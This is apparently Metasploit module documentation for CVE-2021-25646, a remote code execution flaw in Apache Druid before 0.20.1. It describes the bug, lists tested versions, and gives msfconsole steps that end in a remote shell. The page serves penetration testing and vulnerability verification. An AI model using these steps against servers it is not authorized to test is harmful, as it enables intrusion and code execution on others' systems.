List of CVEs: CVE-2021-25646
Apache Druid includes the ability to execute user-provided
JavaScript code embedded in various types of requests;
however, that feature is disabled by default. In Druid
versions prior to 0.20.1, an authenticated user can send a
specially-crafted request that both enables the JavaScript
code-execution feature and executes the supplied code all at
once, allowing for code execution on the server with the
privileges of the Druid Server process. More critically,
authentication is not enabled in Apache Druid by default.
Tested on the following Apache Druid versions: * 0.15.1 *
0.16.0-iap8 * 0.17.1 * 0.18.0-iap3 * 0.19.0-iap7 *
0.20.0-iap4.1 * 0.20.0 * 0.21.0-iap3
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
Basic Usage
msf > use exploit/linux/http/apache_druid_js_rce
msf exploit(apache_druid_js_rce) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
Apache Druid versions prior to v0.20.1
Description
Apache Druid includes the ability to execute user-provided JavaScript code embedded in various types of requests; however, that feature is disabled by default.
In Druid versions prior to 0.20.1, an authenticated user can send a specially-crafted request
that both enables the JavaScript code-execution feature and executes the supplied code all
at once, allowing for code execution on the server with the privileges of the Druid Server process.
More critically, authentication is not enabled in Apache Druid by default.
The issue has been fixed in Apache Druid v0.20.1
This module has been tested successfully against the following versions:
Apache Druid 0.15.1 Debian 9.11 (Linux 3.10.0-957.21.3.el7.x86_64)
Apache Druid 0.16.0-iap8 Ubuntu 16.04 (Linux 3.10.0-957.27.2.el7.x86_64)

- Extract the downloaded archive
- Ensure a supported version of Java is installed on the system
- Start Apache Druid:
bin/start-nano-quickstart
Verification Steps
- Install the application
- Start msfconsole
- Do:
use exploit/linux/http/apache_druid_js_rce - Do:
set rhosts <ip> - Do:
set lhost <ip> - Do:
set lport/srvport <ip>if necessary - Do:
run - You should get a shell.
